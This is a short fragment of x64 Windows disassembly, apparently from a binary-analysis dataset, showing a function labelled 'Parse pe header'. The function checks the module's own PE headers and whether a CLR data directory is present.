call fcn.1400047e0
add rsp, 0x60
pop rbx
ret

Function at 0x140005214
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x14000525e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000525e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000525e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000525e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000525e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005260
xor al, al
add rsp, 0x28
ret